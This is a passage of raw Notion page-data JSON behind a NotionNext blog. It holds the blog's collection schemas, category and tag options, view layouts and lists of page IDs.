alive":true,"file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"b2451af8-069a-4880-92d0-f4d3162f67cd":{"value":{"id":"b2451af8-069a-4880-92d0-f4d3162f67cd","type":"text","created_time":1705646294092,"last_edited_time":1705646294092,"parent_id":"05abb28a-ad68-45fa-a724-51a364a67d67","parent_table":"block","alive":true}},"66217c67-4273-4621-a92c-816bc797538f":{"value":{"id":"66217c67-4273-4621-a92c-816bc797538f","type":"text","created_time":1705645162144,"last_edited_time":1705646258031,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"4379bc14-5d22-453b-a153-12639616fc01":{"value":{"id":"4379bc14-5d22-453b-a153-12639616fc01","version":684,"name":[["Notion Blog"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"Config"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/6c096b44-beb9-48ee-8f92-1efdde47f3a3/29db38d2-d5fa-4fa6-8a92-3b527cfe80d1/favicon.svg","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"8e7acf17-de09-4fa1-abde-b5b80ad4a813","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","29db38d2-d5fa-4fa6-8a92-3b527cfe80d1"],"copied_from":"8e7acf17-de09-4fa1-abde-b5b80ad4a813","template_pages":["06f53161-8c9a-4e9c-8109-a8bd142a7b06"],"migrated":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3","deleted_schema":{">Vd?":{"name":"Last Edited Time","type":"last_edited_time"},"CXUG":{"name":"Property","type":"text"},"GKHK":{"name":"Created Time","type":"created_time"},"OcN|":{"name":"Property","type":"text"},"ag`<":{"name":"realate","type":"text"},"ckw_":{"name":"Property","type":"last_edited_time"},"kiCR":{"name":"created_time","type":"created_time"},"uHoD":{"name":"last_edited_time","type":"last_edited_time"},"vk?@":{"name":"last_edited_time","type":"last_edited_time"}}},"role":"reader"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"b7eb2157-2022-4ca5-827b-faa5ef82cf2d":{"value":{"id":"b7eb2157-2022-4ca5-827b-faa5ef82cf2d","version":217,"type":"table","name":"Table","format":{"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":219,"visible":true,"property":"title"},{"width":288,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":100,"visible":true,"property":"bB{M"},{"width":141,"visible":true,"property":"sD^m"},{"width":229,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","8f4fe6b1-7a9e-43e0-bcfb-6edb50f10a62","571f2540-eb8a-42ee-84f5-85f1583430ae","f5dd304c-8c81-40dc-ba37-9c1d7399e15e","a6271da0-6b8f-47a3-9735-e8fa770f1d9f","4d7cafcd-57a4-4255-90c5-821a6f40dfe8","dc4f233c-5ec9-4ba8-b943-2e5e1f408ad6","db0e0da3-a27e-445c-9f69-9c95b33a52bc","4e12cb2c-d3f9-46aa-8e7e-c13084f7c79c","29fdb092-3dbf-4487-8f6b-6586958cfc67","87c18f9d-1c7e-47b0-89b9-fae9e38b6ce9","54ea2a2c-9b91-4457-8f20-d29ebe384529","21622ac5-95e6-455a-a91d-9d762a88963e","16500013-ac92-4537-9012-46d8ff7dae03","ce720858-10b7-4c0c-8083-906f29150a81","01cc4bd3-fe3b-456b-a08e-e961d83c7999","da988857-3ba9-4a63-9731-e849beb46705","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","b9e5afa7-db27-4aea-95fb-3fd5fcf81846","1e08ee78-d240-47cb-9d52-6a484b248543","0872b2f7-af7d-4f24-adf7-86f5d34dbc7b","18460a7c-3e63-4d7b-ad00-cf40ba77851c","0458d9a0-a64e-4837-bc75-f4a3f7853249","0ef279d4-d54a-4de3-9a5b-5603b461b586","f3550fb0-346c-4212-b57f-86433738b50b","de36fd0c-38fe-4b0c-b9d3-1c4389f599b2","bbeae7c7-f4ef-4f79-9c0d-6572636a9233","15a4fc06-381c-43a0-94f3-f89655b192da","55c03d34-3626-49d4-ac9d-6a455b2b6c93","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","1146ef63-aba8-4df5-a006-ba886ea87966","9057c4ad-2ef9-44a0-9bdd-c38daf735108","0bc55f01-2246-4cca-836d-266680bd9b5b","0bfc2813-a121-4fd1-a7bb-738f6357892c","d3a02583-75a2-402d-b0a1-4551c3837c7e","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"5010afdb-92b5-4f49-958b-0b8c900d6190":{"value":{"id":"5010afdb-92b5-4f49-958b-0b8c900d6190","version":11,"type":"gallery","name":"Post Gallery","format":{"gallery_cover":{"type":"page_cover"},"property_filters":[{"id":"e5e69a48-8053-4d20-9e5a-73e8b24dab16","filter":{"filter":{"value":{"type":"exact","value":"Post"},"operator":"enum_is"},"property":"`gQ~"}}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"